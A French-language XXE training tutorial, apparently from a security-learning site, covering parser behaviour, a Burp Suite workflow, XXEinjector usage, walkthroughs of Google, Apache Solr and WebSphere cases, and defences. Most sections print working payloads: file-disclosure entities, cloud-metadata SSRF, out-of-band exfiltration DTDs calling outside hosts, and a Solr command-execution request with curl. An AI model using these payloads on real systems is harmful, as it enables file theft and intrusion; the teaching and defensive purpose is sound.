Injection d'entités externes XML
Exploiter les parseurs XML pour accéder aux fichiers et réseaux internes
Ce que vous allez découvrir
🎯 Pourquoi c'est important
L'injection d'entités externes XML est devenue critique car les applications modernes s'appuient de plus en plus sur XML pour les communications API, les fichiers de configuration et le traitement de documents. Les vulnérabilités XXE permettent aux attaquants de lire des fichiers locaux, effectuer des scans de réseau interne et même obtenir une exécution de code à distance par l'exploitation des parseurs XML. Cette vulnérabilité est particulièrement dangereuse dans les environnements d'entreprise où XML est largement utilisé pour les API SOAP, les workflows documentaires et l'intégration de données.
🔍 Ce que vous allez apprendre
Vous comprendrez comment identifier les vulnérabilités XXE dans les endpoints de traitement XML et exploiter les références d'entités externes pour la divulgation de fichiers et les attaques SSRF. Cela inclut la création de DTD malveillants pour l'exfiltration de données hors bande, l'exploitation de scénarios XXE aveugles et le chaînage XXE avec d'autres vulnérabilités — les mêmes techniques systématiques utilisées par les experts en sécurité pour évaluer les applications et API basées sur XML.
🚀 Votre première victoire
Dans les 15 prochaines minutes, vous exploiterez avec succès une vulnérabilité XXE pour lire des fichiers système sensibles depuis le système de fichiers du serveur, démontrant comment un traitement XML apparemment inoffensif peut mener à une divulgation complète d'informations et un compromis potentiel du système.
🔧 Essayez maintenant
Testez l'exploitation XXE de base contre un endpoint de traitement XML
# Payload XXE de base pour la divulgation de fichiers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe</root>
# Test sur un endpoint d'upload XML ou API
POST /api/xml-processor HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/hostname">
]>
<data>&file</data>
# XXE hors bande pour les scénarios aveugles
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://<attacker>/malicious.dtd">
%dtd;
]>
<data>&send</data>
# Accès aux fichiers Windows
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
Vous verrez : Comment les parseurs XML traitent les entités externes et exposent potentiellement des fichiers locaux ou effectuent des requêtes réseau au nom du serveur. Cela démontre pourquoi une configuration correcte du parsing XML est critique pour la sécurité des applications.
Compétences que vous maîtriserez
✅ Compréhension fondamentale
- Comportement des parseurs XML et traitement des entités
- Manipulation des DTD (Document Type Definition)
- Exploitation des références d'entités externes
- Techniques de détection et exploitation XXE aveugle
🔍 Compétences avancées
- Méthodes d'exfiltration de données hors bande
- Chaînage XXE avec SSRF et inclusion de fichiers
- Exploitation des API SOAP et uploads XML
- Implémentation sécurisée du parsing XML
Comprendre les vulnérabilités XXE
XXE se produit lorsque les parseurs XML traitent les références d'entités externes sans contrôles de sécurité appropriés
Les vulnérabilités d'entités externes XML existent à cause de la façon dont les parseurs XML sont conçus pour fonctionner. Quand vous comprenez l'architecture de XML, vous verrez pourquoi cette vulnérabilité est si puissante et répandue dans les applications d'entreprise.
Comment fonctionne réellement le parsing XML
Les documents XML peuvent inclure des Document Type Definitions (DTD) qui définissent la structure et les règles du document. Ces DTD supportent les "entités" - essentiellement des variables qui peuvent contenir du texte, des nombres ou des références à des ressources externes. Pensez aux entités comme des marqueurs que le parseur XML remplacera par le contenu réel lors du traitement du document.
Voici le problème de sécurité critique :
Les parseurs XML, par défaut, récupèrent et traitent automatiquement les entités externes. Cela signifie que si une entité référence un chemin de fichier comme
file:///etc/passwd
ou une URL comme
http://internal-server/admin
, le parseur tentera de lire ce fichier ou de faire cette requête HTTP au nom de l'application.
Ce comportement transforme chaque endpoint de traitement XML en une vulnérabilité potentielle de divulgation de fichiers et de falsification de requêtes côté serveur. La spécification XML a été conçue pour des cas d'utilisation légitimes comme l'inclusion de contenu partagé ou le référencement de schémas externes, mais les attaquants exploitent cette même fonctionnalité à des fins malveillantes.
Pourquoi XXE est si dangereux dans les environnements d'entreprise
Les applications d'entreprise utilisent extensivement XML pour l'échange de données, la gestion de configuration et les communications API. Les services web SOAP, les imports de configuration, les systèmes de traitement de documents et les plateformes d'intégration de données reposent tous sur le parsing XML. Chacun de ces éléments représente une surface d'attaque potentielle.
Quand vous exploitez avec succès XXE, vous ne lisez pas seulement des fichiers - vous exploitez les propres capacités de traitement XML de l'application pour effectuer des actions qui paraissent légitimes aux systèmes de surveillance de sécurité. Les requêtes proviennent du serveur d'application lui-même, contournant souvent les contrôles de sécurité réseau et apparaissant dans les logs comme un comportement normal de l'application.
C'est pourquoi XXE a été responsable de certaines des brèches de données et compromissions de réseaux internes les plus significatives dans la sécurité d'entreprise. Vous transformez essentiellement l'application en votre proxy pour accéder aux ressources internes et aux données sensibles.
Points d'entrée courants
Où les vulnérabilités XXE apparaissent typiquement
Endpoints API SOAP
Uploads de fichiers XML
Traitement de flux RSS/Atom
Uploads d'images SVG
Traitement de documents Office
Imports de fichiers de configuration
Vecteurs d'attaque
Méthodes utilisées pour exploiter XXE
Attaques de divulgation de fichiers
SSRF via entités externes
Déni de service (billion laughs)
Exfiltration de données hors bande
Exploitation XXE aveugle
Exécution de code à distance
Potentiel d'impact
Ce que les attaquants peuvent accomplir
Divulgation de code source
Vol de fichiers de configuration
Scan de réseau interne
Accès aux métadonnées AWS
Exposition d'identifiants de base de données
Élévation de privilèges
Outils et techniques
L'exploitation réussie de XXE combine la compréhension du comportement des parseurs XML avec les bons outils et méthodologies. Les évaluations de sécurité s'appuient à la fois sur les capacités de détection automatisée et les techniques de test manuel pour découvrir l'étendue complète des vulnérabilités XXE. Vous apprendrez l'approche standard de l'industrie que les experts en sécurité utilisent quotidiennement.
La méthodologie de test XXE
Les professionnels de la sécurité suivent une approche systématique pour les tests XXE qui progresse de la découverte à l'exploitation. Cette méthodologie assure une couverture complète et maximise les chances de trouver des vulnérabilités complexes que des scans automatisés pourraient manquer.
Étape 1 : Reconnaissance - Identifier tous les endpoints de traitement XML à travers l'analyse des requêtes HTTP, en cherchant les headers Content-Type, les fonctionnalités d'upload de fichiers et la documentation API qui mentionne le support XML.
Étape 2 : Détection de base - Tester avec des références d'entités pour confirmer que le parseur traite les entités externes. Cela établit si la vulnérabilité existe avant de tenter une exploitation plus complexe.
Étape 3 : Développement de l'exploitation - Créer des payloads ciblés basés sur la pile technologique de l'application, le système d'exploitation et les fichiers spécifiques que vous souhaitez accéder.
Étape 4 : Évaluation de l'impact - Déterminer l'étendue complète de l'accès possible à travers la vulnérabilité, incluant la divulgation de fichiers, les capacités SSRF et le potentiel d'élévation de privilèges ou d'exécution de code à distance.
Burp Suite : test XXE
Burp Suite est ce que la plupart des équipes de sécurité utilisent pour les tests XXE, utilisé par les professionnels de la sécurité dans le monde entier pour des tests de sécurité approfondis. Comprendre comment utiliser Burp Suite efficacement pour les tests XXE vous place dans la même catégorie que les testeurs d'intrusion experts qui effectuent des évaluations de sécurité pour les grandes entreprises.
Pourquoi Burp Suite excelle dans les tests XXE
Burp Suite offre plusieurs avantages clés pour les tests XXE qui en font le choix préféré des experts en sécurité. La plateforme intègre plusieurs approches de test dans une seule interface, vous permettant de passer de manière transparente de la découverte à l'exploitation à l'évaluation d'impact.
Burp Proxy capture tout le trafic HTTP, vous permettant d'identifier les endpoints de traitement XML que vous pourriez autrement manquer. De nombreuses applications utilisent XML dans des endroits inattendus - soumissions de formulaires, appels API ou uploads de fichiers - et Burp Proxy révèle ces opportunités.
Burp Repeater permet une création et un test précis des payloads. Vous pouvez modifier les requêtes XML en temps réel, tester différentes références d'entités et voir immédiatement les résultats. Ce contrôle manuel est essentiel pour comprendre exactement comment l'application cible traite XML.
Burp Collaborator résout le défi des tests XXE aveugles. Quand les applications n'affichent pas directement le contenu des fichiers dans les réponses, Collaborator fournit un canal hors bande pour confirmer que les entités externes sont traitées et pour exfiltrer les données.
Workflow de test XXE avec Burp Suite étape par étape
# Étape 1 : Configuration du proxy et capture du trafic
# Configurer le navigateur pour utiliser Burp Proxy (127.0.0.1:8080)
# Naviguer sur l'application cible pendant que Burp capture toutes les requêtes
# Chercher les requêtes avec Content-Type: application/xml ou text/xml
# Étape 2 : Identifier les endpoints de traitement XML
# Examiner les requêtes capturées dans l'historique du Proxy
# Rechercher du contenu XML dans les corps de requêtes
# Noter les endpoints qui acceptent les uploads de fichiers
# Étape 3 : Détection XXE de base dans Burp Repeater
# Clic droit sur requête XML capturée → Send to Repeater
# Modifier le XML pour inclure une référence d'entité externe
POST /api/process HTTP/1.1
Host: <target>
Content-Type: application/xml
Content-Length: 154
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
<user>&xxe</user>
<action>process</action>
</data>
# Étape 4 : Analyser la réponse pour divulgation directe de fichiers
# Envoyer la requête et examiner le corps de la réponse
# Chercher le contenu du fichier dans la réponse (XXE direct)
# Vérifier les messages d'erreur qui pourraient révéler des chemins
# Étape 5 : Burp Collaborator pour tests XXE aveugles
# Aller dans Burp Collaborator client → Copy to clipboard
# Créer payload utilisant le domaine Collaborator
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://abcd1234efgh.burpcollaborator.net/xxe.dtd">
%dtd;
]>
<data>&send</data>
# Étape 6 : Surveiller les interactions Collaborator
# Retourner au client Collaborator → Poll now
# Vérifier les lookups DNS ou requêtes HTTP
# Confirme que les entités externes sont traitées
# Étape 7 : Exfiltration de données via Collaborator
# Héberger un fichier DTD malveillant sur le domaine Collaborator
# Utiliser les entités paramètres pour exfiltrer le contenu des fichiers
# Exemple de contenu DTD pour exfiltration de données :
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://abcd1234efgh.burpcollaborator.net/exfil?data=%file;'>">
%eval;
# Étape 8 : Tests automatisés avec Burp Scanner
# Clic droit sur cible → Scan
# Activer les vérifications de scan spécifiques à XXE
# Examiner les résultats du Scanner pour vecteurs XXE supplémentaires
Conseil d'expert : L'approche intégrée de Burp Suite signifie que vous pouvez découvrir les vulnérabilités XXE via Proxy, les exploiter manuellement dans Repeater, confirmer les attaques aveugles avec Collaborator et scaler les tests avec Scanner - le tout dans la même plateforme que les experts en sécurité utilisent pour les évaluations d'entreprise.
Techniques de test XXE manuel
Les techniques de test manuel fournissent une compréhension plus profonde du comportement XXE et permettent la détection de vulnérabilités complexes que les outils automatisés pourraient manquer.
Test systématique des payloads XXE
# Test de divulgation de fichiers de base
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe</root>
# Accès aux fichiers système Windows
<!ENTITY win SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
# Ciblage de fichiers spécifiques à l'application
<!ENTITY config SYSTEM "file:///var/www/html/config.php">
<!ENTITY env SYSTEM "file:///.env">
<!ENTITY db SYSTEM "file:///opt/app/database.yml">
# Exploitation du wrapper PHP (si supporté)
<!ENTITY php SYSTEM "php://filter/convert.base64-encode/resource=index.php">
# SSRF via XXE
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY internal SYSTEM "http://internal-service:8080/admin">
# Exfiltration de données hors bande
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://hackerdna.xss.ht/xxe.dtd">
%dtd;
]>
<data>%send;</data>
# Contenu xxe.dtd pour exfiltration de données :
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://hackerdna.xss.ht/collect?data=%file;'>">
%eval;
Les tests manuels permettent aux experts en sécurité de comprendre le comportement de l'application, tester les cas limites et développer des stratégies d'exploitation ciblées basées sur l'implémentation XML spécifique.
XXEinjector : automatisation spécialisée
XXEinjector est un outil Ruby spécialisé pour automatiser l'exploitation XXE. Bien qu'il ne soit pas aussi largement utilisé que Burp Suite, il fournit une automatisation dédiée pour les scénarios XXE complexes et les techniques d'exploitation avancées.
Exemples d'utilisation de XXEinjector
# Installer XXEinjector
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
# Énumération de fichiers de base
ruby XXEinjector.rb --host=<target> --path=/api/xml --file=/etc/passwd
# Énumération de répertoires
ruby XXEinjector.rb --host=<target> --path=/upload --enumeration
# Tests hors bande
ruby XXEinjector.rb --host=<target> --path=/process --oob=http --file=/var/www/html/config.php
# Tests d'endpoint SOAP
ruby XXEinjector.rb --host=<target> --path=/soap/service --headers="SOAPAction: processData" --file=/etc/passwd
# Template de requête personnalisé
echo 'POST /api/data HTTP/1.1
Host: <target>
Content-Type: application/xml
XXEINJECTION' > request.txt
ruby XXEinjector.rb --host=<target> --file=/etc/passwd --path=/api/data --httpmethod=POST --xml=request.txt
XXEinjector fournit une automatisation pour les scénarios complexes mais nécessite une compréhension des fondamentaux XXE et devrait compléter, pas remplacer, les techniques de test manuel.
Scénarios d'attaque réels
Ces vulnérabilités XXE documentées démontrent comment les failles de traitement XML ont été exploitées dans de vraies applications, montrant l'approche systématique qui mène à des découvertes et impacts significatifs.
XXE de Google Toolbar Button Gallery (2014)
Les chercheurs en sécurité de Detectify ont découvert des vulnérabilités XXE dans le Google Toolbar Button Gallery qui permettaient de lire des fichiers internes et d'effectuer des attaques SSRF contre l'infrastructure de Google. Les détails techniques montrent l'exploitation XXE systématique contre les systèmes d'entreprise.
# Étape 1 : Identifier le traitement XML de Google Toolbar Button Gallery
# Google permettait aux utilisateurs de soumettre des boutons de barre d'outils via XML
# Endpoint : Interface de soumission Google Toolbar Button Gallery
# Étape 2 : Créer XML de bouton de barre d'outils malveillant avec XXE
# Format standard de bouton de barre d'outils avec payload XXE intégré
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE customButtons [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<customButtons>
<button>
<title>HackerDNA Button</title>
<description>&xxe</description>
<url>http://hackerdna.com</url>
</button>
</customButtons>
# Étape 3 : Payload avancé pour découverte d'infrastructure Google
# Cibler les chemins et fichiers de configuration spécifiques à Google
<?xml version="1.0"?>
<!DOCTYPE customButtons [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY resolv SYSTEM "file:///etc/resolv.conf">
]>
<customButtons>
<button>
<title>System Info</title>
<description>&passwd</description>
<tooltip>&hosts</tooltip>
</button>
</customButtons>
# Étape 4 : Exploitation SSRF via XXE
# Utiliser XXE pour sonder les services internes de Google
<!ENTITY ssrf SYSTEM "http://metadata.google.internal/computeMetadata/v1/">
<!ENTITY internal SYSTEM "http://169.254.169.254/latest/meta-data/">
# Étape 5 : Exfiltration de données hors bande
# Pour les scénarios où la réponse directe n'est pas disponible
<?xml version="1.0"?>
<!DOCTYPE customButtons [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://hackerdna.xss.ht/google.dtd">
%dtd;
]>
<customButtons>
<button>
<title>%send;</title>
</button>
</customButtons>
# Contenu google.dtd :
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://hackerdna.xss.ht/exfil?data=%file;'>">
%eval;
Évaluation d'impact : La vulnérabilité permettait de lire des fichiers de configuration sensibles depuis les serveurs de production de Google et d'effectuer une reconnaissance du réseau interne. Google a rapidement corrigé le problème et implémenté des protections XXE complètes dans leur infrastructure de traitement XML.
Apache Solr XXE vers RCE (CVE-2017-12629)
La fonctionnalité de parsing XML d'Apache Solr contenait des vulnérabilités XXE qui pouvaient être chaînées pour obtenir une exécution de code à distance. CVE-2017-12629 démontre l'escalade de XXE vers un compromis système complet via des fonctionnalités spécifiques à l'application.
# Étape 1 : Identifier l'endpoint de traitement XML de Solr
# Apache Solr accepte des documents XML pour l'indexation
# Versions vulnérables : 1.2 à 6.6.0 et 7.0.0 à 7.1.0
# Endpoint : http://<target>:8983/solr/<core>/update
# Étape 2 : XXE de base pour divulgation de fichiers
POST /solr/demo/update HTTP/1.1
Host: <target>:8983
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<add>
<doc>
<field name="id">&xxe</field>
<field name="title">XXE Test</field>
</doc>
</add>
# Étape 3 : XXE avancé pour accès à la configuration Solr
# Cibler les fichiers de configuration et logs spécifiques à Solr
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY config SYSTEM "file:///opt/solr/server/solr/configsets/_default/conf/solrconfig.xml">
<!ENTITY schema SYSTEM "file:///opt/solr/server/solr/demo/conf/schema.xml">
<!ENTITY logs SYSTEM "file:///opt/solr/server/logs/solr.log">
]>
<add>
<doc>
<field name="id">config_disclosure</field>
<field name="config">&config</field>
<field name="schema">&schema</field>
</doc>
</add>
# Étape 4 : Escalade vers RCE via manipulation de configuration
# Exploiter l'API de mise à jour de configuration de Solr après reconnaissance XXE
POST /solr/demo/config HTTP/1.1
Content-Type: application/json
{
"add-updateprocessor": {
"name": "hdna-rce",
"class": "solr.RunExecutableListener",
"exe": "/bin/bash",
"args": ["-c", "curl http://hackerdna.com/callback?data=$(whoami)"]
}
}
# Étape 5 : Déclencher RCE via mise à jour de document
POST /solr/demo/update?processor=hdna-rce HTTP/1.1
Content-Type: application/xml
<add><doc><field name="id">rce-test</field></doc></add>
# Résultat : Exécution de code à distance obtenue via découverte XXE
# suivie de manipulation de configuration Solr
Impact CVE : CVE-2017-12629 a affecté des milliers d'installations Apache Solr dans le monde. La vulnérabilité a démontré comment XXE peut être chaîné avec des fonctionnalités spécifiques à l'application pour obtenir une exécution de code à distance, menant à un compromis système complet. Apache a publié des correctifs et des directives de sécurité pour traiter ce problème critique.
Divulgation d'informations XXE IBM WebSphere (CVE-2018-1567)
IBM WebSphere Application Server contenait des vulnérabilités XXE dans ses composants de traitement XML qui permettaient aux attaquants de lire des fichiers arbitraires depuis le serveur. CVE-2018-1567 montre comment les serveurs d'applications d'entreprise peuvent être vulnérables aux attaques XXE via les endpoints de services web.
# Étape 1 : Identifier l'endpoint de service web WebSphere
# IBM WebSphere traite les requêtes SOAP et REST avec XML
# Versions vulnérables : 7.0, 8.0, 8.5 et 9.0
# Endpoint : /AppName/services/ServiceName
# Étape 2 : Créer requête SOAP malveillante avec XXE
POST /MyApp/services/DataProcessor HTTP/1.1
Host: <target>:9080
Content-Type: text/xml; charset=utf-8
SOAPAction: "processData"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ns:processData xmlns:ns="http://hackerdna.com/webservice">
<ns:input>&xxe</ns:input>
</ns:processData>
</soapenv:Body>
</soapenv:Envelope>
# Étape 3 : Cibler les fichiers de configuration spécifiques à WebSphere
<!ENTITY config SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/nodes/Node01/servers/server1/server.xml">
<!ENTITY security SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/security.xml">
<!ENTITY logs SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/logs/server1/SystemOut.log">
# Étape 4 : Exploiter pour divulgation de données sensibles
<?xml version="1.0"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY wsconfig SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/applications/MyApp.ear/deployments/MyApp/META-INF/application.xml">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns:getData>
<ns:config>&wsconfig</ns:config>
</ns:getData>
</soapenv:Body>
</soapenv:Envelope>
# Étape 5 : Exfiltration hors bande pour scénarios aveugles
<?xml version="1.0"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY % file SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/security.xml">
<!ENTITY % dtd SYSTEM "http://hackerdna.xss.ht/websphere.dtd">
%dtd;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns:probe>%send;</ns:probe>
</soapenv:Body>
</soapenv:Envelope>
Impact entreprise : CVE-2018-1567 a affecté les déploiements d'entreprise exécutant IBM WebSphere, exposant potentiellement des données de configuration sensibles et des secrets d'application. IBM a publié des mises à jour de sécurité et recommandé de désactiver le traitement des entités externes dans les parseurs XML comme stratégie de mitigation principale.
Contre-mesures défensives
Protéger les applications contre les attaques XXE nécessite d'implémenter plusieurs couches de défense qui travaillent ensemble pour empêcher le traitement des entités externes et limiter l'impact potentiel des attaques. Ces stratégies éprouvées par l'industrie forment la base du traitement XML sécurisé dans les environnements de production.
Défense principale : désactiver le traitement des entités externes
La protection XXE la plus efficace consiste à désactiver complètement le traitement DTD et la résolution des entités externes dans les parseurs XML. Cette approche élimine la cause profonde en empêchant le parseur de traiter toute référence d'entité externe, quelle que soit sa source ou destination.
- Désactiver entièrement le traitement DTD - Configurer les parseurs XML pour rejeter tout document contenant des déclarations DTD
- Bloquer la résolution des entités externes - Empêcher les parseurs de récupérer du contenu depuis des URLs externes ou chemins de fichiers
- Désactiver l'expansion des entités paramètres - Bloquer le traitement des entités paramètres qui permettent des attaques XXE complexes
- Supprimer le support XInclude - Désactiver la fonctionnalité XInclude qui peut contourner les restrictions d'entités externes
- Imposer des défauts sécurisés - S'assurer que tous les composants de traitement XML utilisent des configurations sécurisées par défaut
Stratégies d'implémentation
La prévention XXE réussie nécessite une implémentation systématique à travers tous les composants de traitement XML et une application cohérente des politiques de sécurité tout au long du cycle de développement.
- Bibliothèques de parsing XML centralisées - Utiliser un composant de parsing XML unique et bien configuré dans toute l'application
- Validation et assainissement des entrées - Valider la structure XML et rejeter les documents contenant des patterns suspects
- Mises à jour régulières des bibliothèques - Maintenir les bibliothèques de parsing XML à jour avec les derniers correctifs de sécurité
- Gestion de configuration - Maintenir des configurations de parseur XML sécurisées via des processus de déploiement automatisés
- Formation des développeurs et directives - S'assurer que les équipes de développement comprennent les risques XXE et les pratiques de codage sécurisé
Approches de défense en profondeur
Plusieurs couches de sécurité fournissent une protection complète contre les attaques XXE, garantissant que si un mécanisme de défense échoue, d'autres continuent de fournir une protection contre les tentatives d'exploitation potentielles.
- Filtrage des sorties réseau - Bloquer les connexions sortantes des serveurs d'application pour empêcher l'exfiltration de données hors bande
- Contrôles d'accès au système de fichiers - Utiliser la conteneurisation, les jails chroot ou les principes de moindre privilège pour limiter l'accès au système de fichiers
- Protection des métadonnées cloud - Bloquer l'accès aux services de métadonnées cloud au niveau réseau (169.254.169.254)
- Segmentation du réseau interne - Isoler les systèmes de traitement XML des ressources internes sensibles et des bases de données
- Surveillance et détection - Implémenter la journalisation et les alertes pour les patterns de traitement XML inhabituels et les requêtes externes
- Pare-feu applicatifs - Déployer des règles WAF pour détecter et bloquer les patterns d'attaque XXE dans les requêtes HTTP
🎯 Vous maîtrisez XXE !
Vous comprenez maintenant comment exploiter les parseurs XML pour accéder aux fichiers et réseaux internes via l'injection d'entités externes XML. Vous pouvez créer des DTD malveillants, effectuer une exfiltration de données hors bande et chaîner XXE avec d'autres vulnérabilités en utilisant les mêmes techniques systématiques que les experts en sécurité utilisent pour évaluer les applications et API basées sur XML.
Prêt à sécuriser les applications web modernes contre toutes les vulnérabilités critiques